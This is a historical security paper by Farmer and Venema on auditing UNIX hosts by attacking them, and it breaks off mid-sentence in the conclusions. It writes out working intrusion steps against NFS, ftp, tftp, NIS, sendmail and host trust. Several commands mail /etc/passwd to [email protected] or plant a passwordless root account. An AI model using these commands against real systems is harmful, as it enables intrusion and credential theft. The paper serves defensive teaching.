Improving the Security of Your Site by Breaking Into it
Dan Farmer Wietse Venema
Sun
Microsystems Eindhoven University
of Technology
[email protected] [email protected]
Introduction
Every day, all over the world, computer networks and hosts
are being broken
into. The level of sophistication of these attacks varies
widely; while it
is generally believed that most break-ins succeed due to
weak passwords,
there are still a large number of intrusions that use more
advanced
techniques to break in. Less is known about the latter types
of break-ins,
because by their very nature they are much harder to detect.
CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley.
Purdue. Sun. You
name it, we've seen it broken into. Anything that is on the
Internet (and
many that isn't) seems to be fairly easy game. Are these
targets unusual?
What happened?
----------------------------------------------------------------------------
Fade to...
A young boy, with greasy blonde hair, sitting in a dark
room. The room is
illuminated only by the luminescense of the C64's 40
character screen.
Taking another long drag from his Benson and Hedges
cigarette, the weary
system cracker telnets to the next faceless ".mil"
site on his hit list.
"guest -- guest", "root -- root", and
"system -- manager" all fail. No
matter. He has all night... he pencils the host off of his
list, and tiredly
types in the next potential victim...
This seems to be the popular image of a system cracker.
Young,
inexperienced, and possessing vast quantities of time to
waste, to get into
just one more system. However, there is a far more dangerous
type of system
cracker out there. One who knows the ins and outs of the
latest security
auditing and cracking tools, who can modify them for
specific attacks, and
who can write his/her own programs. One who not only reads
about the latest
security holes, but also personally discovers bugs and
vulnerabilities. A
deadly creature that can both strike poisonously and hide
its tracks without
a whisper or hint of a trail. The uebercracker is here.
----------------------------------------------------------------------------
Why "uebercracker"? The idea is stolen, obviously,
from Nietzsche's
uebermensch, or, literally translated into English,
"over man." Nietzsche
used the term not to refer to a comic book superman, but
instead a man who
had gone beyond the incompetence, pettiness, and weakness of
the everyday
man. The uebercracker is therefore the system cracker who
has gone beyond
simple cookbook methods of breaking into systems. An
uebercracker is not
usually motivated to perform random acts of violence.
Targets are not
arbitrary -- there is a purpose, whether it be personal
monetary gain, a hit
and run raid for information, or a challenge to strike a
major or
prestigious site or net.personality. An uebercracker is hard
to detect,
harder to stop, and hardest to keep out of your site for
good.
Overview
In this paper we will take an unusual approach to system
security. Instead
of merely saying that something is a problem, we will look
through the eyes
of a potential intruder, and show _why_ it is one. We will
illustrate that
even seemingly harmless network services can become valuable
tools in the
search for weak points of a system, even when these services
are operating
exactly as they are intended to.
In an effort to shed some light on how more advanced
intrusions occur, this
paper outlines various mechanisms that crackers have
actually used to obtain
access to systems and, in addition, some techniques we
either suspect
intruders of using, or that we have used ourselves in tests
or in
friendly/authorized environments.
Our motivation for writing this paper is that system
administrators are
often unaware of the dangers presented by anything beyond
the most trivial
attacks. While it is widely known that the proper level of
protection
depends on what has to be protected, many sites appear to
lack the resources
to assess what level of host and network security is
adequate. By showing
what intruders can do to gain access to a remote site, we
are trying to help
system administrators to make _informed_ decisions on how to
secure their
site -- or not. We will limit the discussion to techniques
that can give a
remote intruder access to a (possibly non-interactive) shell
process on a
UNIX host. Once this is achieved, the details of obtaining
root privilege
are beyond the scope of this work -- we consider them too
site-dependent
and, in many cases, too trivial to merit much discussion.
We want to stress that we will not merely run down a list of
bugs or
security holes -- there will always be new ones for a
potential attacker to
exploit. The purpose of this paper is to try to get the
reader to look at
her or his system in a new way -- one that will hopefully
afford him or her
the opportunity to _understand_ how their system can be
compromised, and
how.
We would also like to reiterate to the reader that the
purpose of this paper
is to show you how to test the security of your own site,
not how to break
into other people's systems. The intrusion techniques we
illustrate here
will often leave traces in your system auditing logs -- it
might be
constructive to examine them after trying some of these
attacks out, to see
what a real attack might look like. Certainly other sites
and system
administrators will take a very dim view of your activities
if you decide to
use their hosts for security testing without advance
authorization; indeed,
it is quite possible that legal action may be pursued
against you if they
perceive it as an attack.
There are four main parts to the paper. The first part is
the introduction
and overview. The second part attempts to give the reader a
feel for what it
is like to be an intruder and how to go from knowing nothing
about a system
to compromising its security. This section goes over actual
techniques to
gain information and entrance and covers basic strategies
such as exploiting
trust and abusing improperly configured basic network
services (ftp, mail,
tftp, etc.) It also discusses slightly more advanced topics,
such as NIS and
NFS, as well as various common bugs and configuration problems
that are
somewhat more OS or system specific. Defensive strategies
against each of
the various attacks are also covered here.
The third section deals with trust: how the security of one
system depends
on the integrity of other systems. Trust is the most complex
subject in this
paper, and for the sake of brevity we will limit the
discussion to clients
in disguise.
The fourth section covers the basic steps that a system
administrator may
take to protect her or his system. Most of the methods presented
here are
merely common sense, but they are often ignored in practice
-- one of our
goals is to show just how dangerous it can be to ignore
basic security
practices.
Case studies, pointers to security-related information, and
software are
described in the appendices at the end of the paper.
While exploring the methods and strategies discussed in this
paper we we
wrote SATAN (Security Analysis Tool for Auditing Networks.)
Written in
shell, perl, expect and C, it examines a remote host or set
of hosts and
gathers as much information as possible by remotely probing
NIS, finger,
NFS, ftp and tftp, rexd, and other services. This
information includes the
presence of various network information services as well as
potential
security flaws -- usually in the form of incorrectly setup
or configured
network services, well-known bugs in system or network
utilities, or poor or
ignorant policy decisions. It then can either report on this
data or use an
expert system to further investigate any potential security problems.
While
SATAN doesn't use all of the methods that we discuss in the
paper, it has
succeeded with ominous regularity in finding serious holes
in the security
of Internet sites. It will be posted and made available via
anonymous ftp
when completed; Appendix A covers its salient features.
Note that it isn't possible to cover all possible methods of
breaking into
systems in a single paper. Indeed, we won't cover two of the
most effective
methods of breaking into hosts: social engineering and
password cracking.
The latter method is so effective, however, that several of
the strategies
presented here are geared towards acquiring password files.
In addition,
while windowing systems (X, OpenWindows, etc.) can provide a
fertile ground
for exploitation, we simply don't know many methods that are
used to break
into remote systems. Many system crackers use non-bitmapped
terminals which
can prevent them from using some of the more interesting
methods to exploit
windowing systems effectively (although being able to
monitor the victim's
keyboard is often sufficient to capture passwords). Finally,
while worms,
viruses, trojan horses, and other malware are very
interesting, they are not
common (on UNIX systems) and probably will use similar techniques
to the
ones we describe in this paper as individual parts to their
attack strategy.
Gaining Information
Let us assume that you are the head system administrator of
Victim
Incorporated's network of UNIX workstations. In an effort to
secure your
machines, you ask a friendly system administrator from a
nearby site
(evil.com) to give you an account on one of her machines so
that you can
look at your own system's security from the outside.
What should you do? First, try to gather information about
your (target)
host. There is a wealth of network services to look at:
finger, showmount,
and rpcinfo are good starting points. But don't stop there
-- you should
also utilize DNS, whois, sendmail (smtp), ftp, uucp, and as
many other
services as you can find. There are so many methods and
techniques that
space precludes us from showing all of them, but we will try
to show a
cross-section of the most common and/or dangerous strategies
that we have
seen or have thought of. Ideally, you would gather such
information about
all hosts on the subnet or area of attack --- information is
power -- but
for now we'll examine only our intended target.
To start out, you look at what the ubiquitous finger command
shows you
(assume it is 6pm, Nov 6, 1993):
victim % finger @victim.com
[victim.com]
Login Name TTY Idle
When Where
zen Dr.
Fubar co 1d
Wed 08:00 death.com
Good! A single idle user -- it is likely that no one will
notice if you
actually manage to break in.
Now you try more tactics. As every finger devotee knows,
fingering "@", "0",
and "", as well as common names, such as root,
bin, ftp, system, guest,
demo, manager, etc., can reveal interesting information.
What that
information is depends on the version of finger that your
target is running,
but the most notable are account names, along with their
home directories
and the host that they last logged in from.
To add to this information, you can use rusers (in
particular with the -l
flag) to get useful information on logged-in users.
Trying these commands on victim.com reveals the following
information,
presented in a compressed tabular form to save space:
Login Home-dir
Shell Last login, from where
----- --------
----- ----------------------
root / /bin/sh Fri
Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from
server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue
Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed
Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in
Both our experiments with SATAN and watching system crackers
at work have
proved to us that finger is one of the most dangerous
services, because it
is so useful for investigating a potential target. However,
much of this
information is useful only when used in conjunction with
other data.
For instance, running showmount on your target reveals:
evil % showmount -e
victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy
easy
/export/swap/easy easy
Note that /export/foo is exported to the world; also note
that this is user
guest's home directory. Time for your first break-in! In
this case, you'll
mount the home directory of user "guest." Since
you don't have a
corresponding account on the local machine and since root
cannot modify
files on an NFS mounted filesystem, you create a
"guest" account in your
local password file. As user guest you can put an .rhosts
entry in the
remote guest home directory, which will allow you to login to
the target
machine without having to supply a password.
evil # mount
victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11
root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root
wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001
daemon 1024 Aug 3 15:49 guest
evil # echo
guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11
root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root
wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest
daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo
victim.com >> guest/.rhosts
evil % rlogin
victim.com
Welcome to
victim.com!
victim %
If, instead of home directories, victim.com were exporting
filesystems with
user commands (say, /usr or /usr/local/bin), you could
replace a command
with a trojan horse that executes any command of your
choice. The next user
to execute that command would execute your program.
We suggest that filesystems be exported:
* Read/write only
to specific, trusted clients.
* Read-only, where
possible (data or programs can often be exported in
this manner.)
If the target has a "+" wildcard in its /etc/hosts.equiv
(the default in
various vendor's machines) or has the netgroups bug (CERT
advisory 91:12),
any non-root user with a login name in the target's password
file can rlogin
to the target without a password. And since the user
"bin" often owns key
files and directories, your next attack is to try to log in
to the target
host and modify the password file to let you have root
access:
evil % whoami
bin
evil % rsh
victim.com csh -i
Warning: no access
to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin
staff 2048 Jul 24 18:02
/etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root
shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % rlogin
victim.com -l toor
Welcome to
victim.com!
victim #
A few notes about the method used above; "rsh
victim.com csh -i" is used to
initially get onto the system because it doesn't leave any
traces in the
wtmp or utmp system auditing files, making the rsh invisible
for finger and
who. The remote shell isn't attached to a pseudo-terminal,
however, so that
screen-oriented programs such as pagers and editors will
fail -- but it is
very handy for brief exploration.
The COPS security auditing tool (see appendix D) will report
key files or
directories that are writable to accounts other than the
superuser. If you
run SunOS 4.x you can apply patch 100103 to fix most file
permission
problems. On many systems, rsh probes as shown above, even
when successful,
would remain completely unnoticed; the tcp wrapper (appendix
D), which logs
incoming connections, can help to expose such activities.
----------------------------------------------------------------------------
What now? Have you uncovered all the holes on your target
system? Not by a
long shot. Going back to the finger results on your target,
you notice that
it has an "ftp" account, which usually means that
anonymous ftp is enabled.
Anonymous ftp can be an easy way to get access, as it is
often
misconfigured. For example, the target may have a complete
copy of the
/etc/passwd file in the anonymous ftp ~ftp/etc directory
instead of a
stripped down version. In this example, though, you see that
the latter
doesn't seem to be true (how can you tell without actually
examining the
file?) However, the home directory of ftp on victim.com is
writable. This
allows you to remotely execute a command -- in this case,
mailing the
password file back to yourself -- by the simple method of
creating a
.forward file that executes a command when mail is sent to
the ftp account.
This is the same mechanism of piping mail to a program that
the "vacation"
program uses to automatically reply to mail messages.
evil % cat
forward_sucker_file
"|/bin/mail
[email protected] < /etc/passwd"
evil % ftp
victim.com
Connected to
victim.com
220 victim FTP
server ready.
Name
(victim.com:zen): ftp
331 Guest login ok,
send ident as password.
Password:
230 Guest login ok,
access restrictions apply.
ftp> ls -lga
200 PORT command
successful.
150 ASCII data
connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101
1 512 Jun 20 1991 .
drwxr-xr-x 4 101
1 512 Jun 20 1991 ..
drwxr-xr-x 2 0
1 512 Jun 20
1991 bin
drwxr-xr-x 2 0
1 512 Jun 20 1991 etc
drwxr-xr-x 3 101
1 512 Aug 22 1991 pub
226 ASCII Transfer
complete.
242 bytes received
in 0.066 seconds (3.6 Kbytes/s)
ftp> put
forward_sucker_file .forward
43 bytes sent in
0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test |
mail [email protected]
Now you simply wait for the password file to be sent back to
you.
The security auditing tool COPS will check your anonymous
ftp setup; see the
man page for ftpd, the documentation/code for COPS, or CERT
advisory 93:10
for information on how to set up anonymous ftp correctly.
Vulnerabilities in
ftp are often a matter of incorrect ownership or permissions
of key files or
directories. At the very least, make sure that ~ftp and all
"system"
directories and files below ~ftp are owned by root and are
not writable by
any user.
While looking at ftp, you can check for an older bug that
was once widely
exploited:
% ftp -n
ftp> open
victim.com
Connected to
victim.com
220 victim.com FTP
server ready.
ftp> quote user
ftp
331 Guest login ok,
send ident as password.
ftp> quote cwd
~root
530 Please login
with USER and PASS.
ftp> quote pass
ftp
230 Guest login ok,
access restrictions apply.
ftp> ls -al / (or
whatever)
If this works, you now are logged in as root, and able to
modify the
password file, or whatever you desire. If your system
exhibits this bug, you
should definitely get an update to your ftpd daemon, either
from your vendor
or (via anon ftp) from ftp.uu.net.
The wuarchive ftpd, a popular replacement ftp daemon put out
by the
Washington University in Saint Louis, had almost the same
problem. If your
wuarchive ftpd pre-dates April 8, 1993, you should replace
it by a more
recent version.
Finally, there is a program vaguely similar to ftp -- tftp,
or the trivial
file transfer program. This daemon doesn't require any
password for
authentication; if a host provides tftp without restricting
the access
(usually via some secure flag set in the inetd.conf file),
an attacker can
read and write files anywhere on the system. In the example,
you get the
remote password file and place it in your local /tmp
directory:
evil % tftp
tftp> connect
victim.com
tftp> get
/etc/passwd /tmp/passwd.victim
tftp> quit
For security's sake, tftp should not be run; if tftp is
necessary, use the
secure option/flag to restrict access to a directory that
has no valuable
information, or run it under the control of a chroot wrapper
program.
----------------------------------------------------------------------------
If none of the previous methods have worked, it is time to
go on to more
drastic measures. You have a friend in rpcinfo, another very
handy program,
sometimes even more useful than finger. Many hosts run RPC
services that can
be exploited; rpcinfo can talk to the portmapper and show
you the way. It
can tell you if the host is running NIS, if it is a NIS
server or slave, if
a diskless workstation is around, if it is running NFS, any
of the info
services (rusersd, rstatd, etc.), or any other unusual
programs (auditing or
security related). For instance, going back to our sample
target:
evil % rpcinfo -p
victim.com [output trimmed for
brevity's sake]
program vers
proto port
100004 2
tcp 673 ypserv
100005 1
udp 721 mountd
100003 2
udp 2049 nfs
100026 1
udp 733 bootparam
100017 1
tcp 1274 rexd
In this case, you can see several significant facts about
our target; first
of which is that it is an NIS server. It is perhaps not
widely known, but
once you know the NIS domainname of a server, you can get
any of its NIS
maps by a simple rpc query, even when you are outside the
subnet served by
the NIS server (for example, using the YPX program that can
be found in the
comp.sources.misc archives on ftp.uu.net). In addition, very
much like
easily guessed passwords, many systems use easily guessed
NIS domainnames.
Trying to guess the NIS domainname is often very fruitful.
Good candidates
are the fully and partially qualified hostname (e.g.
"victim" and
"victim.com"), the organization name, netgroup
names in "showmount" output,
and so on. If you wanted to guess that the domainname was
"victim", you
could type:
evil % ypwhich -d
victim victim.com
Domain victim not
bound.
This was an unsuccessful attempt; if you had guessed
correctly it would have
returned with the host name of victim.com's NIS server.
However, note from
the NFS section that victim.com is exporting the
"/var" directory to the
world. All that is needed is to mount this directory and
look in the "yp"
subdirectory -- among other things you will see another
subdirectory that
contains the domainname of the target.
evil # mount
victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg
/foo/yp
total 17
1 drwxr-sr-x 4 root
staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11
root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root
staff 10993 Apr 22 11:56
Makefile
1 drwxr-sr-x 2 root
staff 512 Apr 22 11:20
binding
2 drwxr-sr-x 2 root
staff 1536 Jul 12 14:22
foo_bar
[...]
In this case, "foo_bar" is the NIS domain name.
In addition, the NIS maps often contain a good list of
user/employee names
as well as internal host lists, not to mention passwords for
cracking.
Appendix C details the results of a case study on NIS
password files.
----------------------------------------------------------------------------
You note that the rpcinfo output also showed that victim.com
runs rexd. Like
the rsh daemon, rexd processes requests of the form
"please execute this
command as that user". Unlike rshd, however, rexd does
not care if the
client host is in the hosts.equiv or .rhost files. Normally
the rexd client
program is the "on" command, but it only takes a
short C program to send
arbitrary client host and userid information to the rexd
server; rexd will
happily execute the command. For these reasons, running rexd
is similar to
having no passwords at all: all security is in the client,
not in the server
where it should be. Rexd security can be improved somewhat
by using secure
RPC.
----------------------------------------------------------------------------
While looking at the output from rpcinfo, you observe that
victim.com also
seems to be a server for diskless workstations. This is
evidenced by the
presence of the bootparam service, which provides
information to the
diskless clients for booting. If you ask nicely, using
BOOTPARAMPROC_WHOAMI
and provide the address of a client, you can get its NIS
domainname. This
can be very useful when combined with the fact that you can
get arbitrary
NIS maps (such as the password file) when you know the NIS
domainname. Here
is a sample code snippet to do just that (bootparam is part
of SATAN.)
char *server;
struct
bp_whoami_arg arg; /* query */
struct
bp_whoami_res res; /* reply */
/*
initializations omitted... */
callrpc(server,
BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
printf("%s
has nisdomain %s\n", server, res.domain_name);
The showmount output indicated that "easy" is a
diskless client of
victim.com, so we use its client address in the
BOOTPARAMPROC_WHOAMI query:
evil % bootparam
victim.com easy.victim.com
victim.com has
nisdomain foo_bar
----------------------------------------------------------------------------
NIS masters control the mail aliases for the NIS domain in
question. Just
like local mail alias files, you can create a mail alias
that will execute
commands when mail is sent to it (a once popular example of
this is the
"decode" alias which uudecodes mail files sent to
it.) For instance, here
you create an alias "foo", which mails the
password file back to evil.com by
simply mailing any message to it:
nis-master # echo
'foo: "| mail [email protected] < /etc/passwd "' >> /etc/aliases
nis-master # cd
/var/yp
nis-master # make
aliases
nis-master # echo
test | mail -v [email protected]
Hopefully attackers won't have control of your NIS master
host, but even
more hopefully the lesson is clear -- NIS is normally
insecure, but if an
attacker has control of your NIS master, then s/he
effectively has control
of the client hosts (e.g. can execute arbitrary commands).
There aren't many effective defenses against NIS attacks; it
is an insecure
service that has almost no authentication between clients
and servers. To
make things worse, it seems fairly clear that arbitrary maps
can be forced
onto even master servers (e.g., it is possible to treat an
NIS server as a
client). This, obviously, would subvert the entire schema.
If it is
absolutely necessary to use NIS, choosing a hard to guess
domainname can
help slightly, but if you run diskless clients that are
exposed to potential
attackers then it is trivial for an attacker to defeat this
simple step by
using the bootparam trick to get the domainname. If NIS is
used to propagate
the password maps, then shadow passwords do not give
additional protection
because the shadow map is still accessible to any attacker
that has root on
an attacking host. Better is to use NIS as little as
possible, or to at
least realize that the maps can be subject to perusal by
potentially hostile
forces.
Secure RPC goes a long way to diminish the threat, but it
has its own
problems, primarily in that it is difficult to administer,
but also in that
the cryptographic methods used within are not very strong.
It has been
rumored that NIS+, Sun's new network information service,
fixes some of
these problems, but until now it has been limited to running
on Suns, and
thus far has not lived up to the promise of the design.
Finally, using
packet filtering (at the very least port 111) or securelib
(see appendix D),
or, for Suns, applying Sun patch 100482-02 all can help.
----------------------------------------------------------------------------
The portmapper only knows about RPC services. Other network
services can be
located with a brute-force method that connects to all
network ports. Many
network utilities and windowing systems listen to specific
ports (e.g.
sendmail is on port 25, telnet is on port 23, X windows is
usually on port
6000, etc.) SATAN includes a program that scans the ports of
a remote hosts
and reports on its findings; if you run it against our
target, you see:
evil % tcpmap
victim.com
Mapping
128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)
This suggests that victim.com is running X windows. If not
protected
properly (via the magic cookie or xhost mechanisms), window
displays can be
captured or watched, user keystrokes may be stolen, programs
executed
remotely, etc. Also, if the target is running X and accepts
a telnet to port
6000, that can be used for a denial of service attack, as
the target's
windowing system will often "freeze up" for a
short period of time. One
method to determine the vulnerability of an X server is to
connect to it via
the XOpenDisplay() function; if the function returns NULL
then you cannot
access the victim's display (opendisplay is part of SATAN):
char *hostname;
if
(XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %s\n", hostname);
} else {
printf("Can open display: %s\n", hostname);
}
evil % opendisplay
victim.com:0
Cannot open display:
victim.com:0
X terminals, though much less powerful than a complete UNIX
system, can have
their own security problems. Many X terminals permit
unrestricted rsh
access, allowing you to start X client programs in the
victim's terminal
with the output appearing on your own screen:
evil % xhost
+xvictim.victim.com
evil % rsh
xvictim.victim.com telnet victim.com -display evil.com
In any case, give as much thought to your window security as
your filesystem
and network utilities, for it can compromise your system as
surely as a "+"
in your hosts.equiv or a passwordless (root) account.
----------------------------------------------------------------------------
Next, you examine sendmail. Sendmail is a very complex
program that has a
long history of security problems, including the infamous
"wiz" command
(hopefully long since disabled on all machines). You can
often determine the
OS, sometimes down to the version number, of the target, by
looking at the
version number returned by sendmail. This, in turn, can give
you hints as to
how vulnerable it might be to any of the numerous bugs. In
addition, you can
see if they run the "decode" alias, which has its
own set of problems:
evil % telnet
victim.com 25
connecting to host
victim.com (128.128.128.1.), port 25
connection open
220 victim.com
Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250
<"|/usr/bin/uudecode">
quit
Running the "decode" alias is a security risk --
it allows potential
attackers to overwrite any file that is writable by the
owner of that alias
-- often daemon, but potentially any user. Consider this
piece of mail --
this will place "evil.com" in user zen's .rhosts
file if it is writable:
evil % echo
"evil.com" | uuencode /home/zen/.rhosts | mail [email protected]
If no home directories are known or writable, an interesting
variation of
this is to create a bogus /etc/aliases.pag file that
contains an alias with
a command you wish to execute on your target. This may work
since on many
systems the aliases.pag and aliases.dir files, which control
the system's
mail aliases, are writable to the world.
evil % cat decode
bin: "| cat
/etc/passwd | mail [email protected]"
evil % newaliases
-oQ/tmp -oA`pwd`/decode
evil % uuencode
decode.pag /etc/aliases.pag | mail [email protected]
evil %
/usr/lib/sendmail -fbin -om -oi [email protected] < /dev/null
A lot of things can be found out by just asking sendmail if
an address is
acceptable (vrfy), or what an address expands to (expn).
When the finger or
rusers services are turned off, vrfy and expn can still be
used to identify
user accounts or targets. Vrfy and expn can also be used to
find out if the
user is piping mail through any program that might be
exploited (e.g.
vacation, mail sorters, etc.). It can be a good idea to
disable the vrfy and
expn commands: in most versions, look at the source file
srvrsmtp.c, and
either delete or change the two lines in the CmdTab
structure that have the
strings "vrfy" and "expn". Sites without
source can still disable expn and
vrfy by just editing the sendmail executable with a binary
editor and
replacing "vrfy" and "expn" with blanks.
Acquiring a recent version of
sendmail (see Appendix D) is also an extremely good idea,
since there have
probably been more security bugs reported in sendmail than
in any other UNIX
program.
----------------------------------------------------------------------------
As a sendmail-sendoff, there are two fairly well known bugs
that should be
checked into. The first was definitely fixed in version 5.59
from Berkeley;
despite the messages below, for versions of sendmail
previous to 5.59, the
"evil.com" gets appended, despite the error
messages, along with all of the
typical mail headers, to the file specified:
% cat evil_sendmail
telnet victim.com 25
<< EOSM
rcpt to:
/home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to:
/home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM
evil % /bin/sh
evil_sendmail
Trying 128.128.128.1
Connected to
victim.com
Escape character is
'^]'.
Connection closed by
foreign host.
evil % rlogin
victim.com -l zen
Welcome to
victim.com!
victim %
The second hole, fixed only recently, permitted anyone to
specify arbitrary
shell commands and/or pathnames for the sender and/or
destination address.
Attempts to keep details secret were in vain, and extensive
discussions in
mailing lists and usenet news groups led to disclosure of
how to exploit
some versions of the bug. As with many UNIX bugs, nearly
every vendor's
sendmail was vulnerable to the problem, since they all share
a common source
code tree ancestry. Space precludes us from discussing it
fully, but a
typical attack to get the password file might look like
this:
evil % telnet
victim.com 25
Trying
128.128.128.1...
Connected to
victim.com
Escape character is
'^]'.
220 victim.com
Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from:
"|/bin/mail [email protected] < /etc/passwd"
250 "|/bin/mail
[email protected] < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser...
User unknown
data
354 Enter mail, end
with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by
foreign host.
evil %
At the time of writing, version 8.6.4 of sendmail (see
Appendix D for
information on how to get this) is reportedly the only
variant of sendmail
with all of the recent security bugs fixed.
Trust
For our final topic of vulnerability, we'll digress from the
practical
strategy we've followed previously to go a bit more into the
theoretical
side, and briefly discuss the notion of trust. The issues and
implications
of vulnerabilities here are a bit more subtle and
far-reaching than what
we've covered before; in the context of this paper we use
the word trust
whenever there is a situation when a server (note that any
host that allows
remote access can be called a server) can permit a local
resource to be used
by a client without password authentication when password
authentication is
normally required. In other words, we arbitrarily limit the
discussion to
clients in disguise.
There are many ways that a host can trust: .rhosts and
hosts.equiv files
that allow access without password verification; window
servers that allow
remote systems to use and abuse privileges; export files
that control access
via NFS, and more.
Nearly all of these rely on client IP address to hostname
conversion to
determine whether or not service is to be granted. The
simplest method uses
the /etc/hosts file for a direct lookup. However, today most
hosts use
either DNS (the Domain Name Service), NIS, or both for name
lookup service.
A reverse lookup occurs when a server has an IP address
(from a client host
connecting to it) and wishes to get the corresponding client
hostname.
Although the concept of how host trust works is well
understood by most
system administrators, the _dangers_ of trust, and the
_practical_ problem
it represents, irrespective of hostname impersonation, is
one of the least
understood problems we know of on the Internet. This goes
far beyond the
obvious hosts.equiv and rhosts files; NFS, NIS, windowing
systems -- indeed,
much of the useful services in UNIX are based on the concept
that well known
(to an administrator or user) sites are trusted in some way.
What is not
understood is how networking so tightly binds security
between what are
normally considered disjoint hosts.
Any form of trust can be spoofed, fooled, or subverted,
especially when the
authority that gets queried to check the credentials of the
client is either
outside of the server's administrative domain, or when the
trust mechanism
is based on something that has a weak form of
authentication; both are
usually the case.
Obviously, if the host containing the database (either NIS,
DNS, or
whatever) has been compromised, the intruder can convince
the target host
that s/he is coming from any trusted host; it is now
sufficient to find out
which hosts are trusted by the target. This task is often
greatly helped by
examining where system administrators and system accounts
(such as root,
etc.) last logged in from. Going back to our target,
victim.com, you note
that root and some other system accounts logged in from
big.victim.com. You
change the PTR record for evil.com so that when you attempt
to rlogin in
from evil.com to victim.com, victim.com will attempt to look
up your
hostname and will find what you placed in the record. If the
record in the
DNS database looks like:
1.192.192.192.in-addr.arpa
IN PTR evil.com
And you change it to:
1.192.192.192.in-addr.arpa
IN PTR big.victim.com
then, depending on how naive victim.com's system software
is, victim.com
will believe the login comes from big.victim.com, and,
assuming that
big.victim.com is in the /etc/hosts.equiv or /.rhosts files,
you will be
able to login without supplying a password. With NIS, it is
a simple matter
of either editing the host database on the NIS master (if
this is controlled
by the intruder) or of spoofing or forcing NIS (see
discussion on NIS
security above) to supply the target with whatever
information you desire.
Although more complex, interesting, and damaging attacks can
be mounted via
DNS, time and space don't allow coverage of these methods
here.
Two methods can be used to prevent such attacks. The first
is the most
direct, but perhaps the most impractical. If your site
doesn't use any
trust, you won't be as vulnerable to host spoofing. The
other strategy is to
use cryptographic protocols. Using the secure RPC protocol
(used in secure
NFS, NIS+, etc.) is one method; although it has been
"broken"
cryptographically, it still provides better assurance than
RPC
authentication schemes that do not use any form of
encryption. Other
solutions, both hardware (smartcards) and software
(Kerberos), are being
developed, but they are either incomplete or require changes
to system
software.
Appendix B details the results of an informal survey taken
from a variety of
hosts on the Internet.
Protecting the system
It is our hope that we have demonstrated that even some of
the most
seemingly innocuous services run can offer (sometimes
unexpectedly)
ammunition to determined system crackers. But, of course, if
security were
all that mattered, computers would never be turned on, let
alone hooked into
a network with literally millions of potential intruders.
Rather than
reiterating specific advice on what to switch on or off, we
instead offer
some general suggestions:
* If you cannot
turn off the finger service, consider installing a
modified finger
daemon. It is rarely necessary to reveal a user's home
directory and
the source of last login.
* Don't run NIS
unless it's absolutely necessary. Use NFS as little as
possible.
* Never export NFS
filesystems unrestricted to the world. Try to export
file systems
read-only where possible.
* Fortify and
protect servers (e.g. hosts that provide a service to other
hosts -- NFS,
NIS, DNS, whatever.) Only allow administrative accounts
on these hosts.
* Examine
carefully services offered by inetd and the portmapper.
Eliminate any
that aren't explicitly needed. Use Wietse Venema's inetd
wrappers, if for
no other reason than to log the sources of connections
to your host.
This adds immeasurably to the standard UNIX auditing
features,
especially with respect to network attacks. If possible, use
the loghost
mechanism of syslog to collect security-related information
on a secure
host.
* Eliminate trust
unless there is an absolute need for it. Trust is your
enemy.
* Use shadow
passwords and a passwd command that disallows poor
passwords.
Disable or delete unused/dormant system or user accounts.
* Keep abreast of
current literature (see our suggested reading list and
bibliography at
the end of this paper) and security tools; communicate
to others about
security problems and incidents. At minimum, subscribe
to the CERT
mailing list and phrack magazine (plus the firewalls
mailing list, if
your site is using or thinking about installing a
firewall) and
read the usenet security newsgroups to get the latest
information on
security problems. Ignorance is the deadliest security
problem we are
aware of.
* Install all
vendor security patches as soon as possible, on all of your
hosts. Examine
security patch information for other vendors - many bugs
(rdist,
sendmail) are common to many UNIX variants.
It is interesting to note that common solutions to security
problems such as
running Kerberos or using one-time passwords or digital
tokens are
ineffective against most of the attacks we discuss here. We
heartily
recommend the use of such systems, but be aware that they
are _not_ a total
security solution -- they are part of a larger struggle to
defend your
system.
Conclusions
Perhaps none of the methods shown here are surprising; when
writing this
paper, we didn't learn very much about how to break into
systems. What we
_did_ learn was, while testing these methods out on our own
systems and that
of friendly sites, just how effective this set of methods is
for gaining
access to a typical (UNIX) Internet host. Tiring of trying
to type these in
all by hand, and desiring to keep our own systems more
secure, we decided to
implement a security tool (SATAN) that attempts to check remote
hosts for at
least some of the problems discussed here. The typical
response, when
telling people about our paper and our tool was something on
the order of
"that sounds pretty dangerous -- I hope you're not
going to give it out to
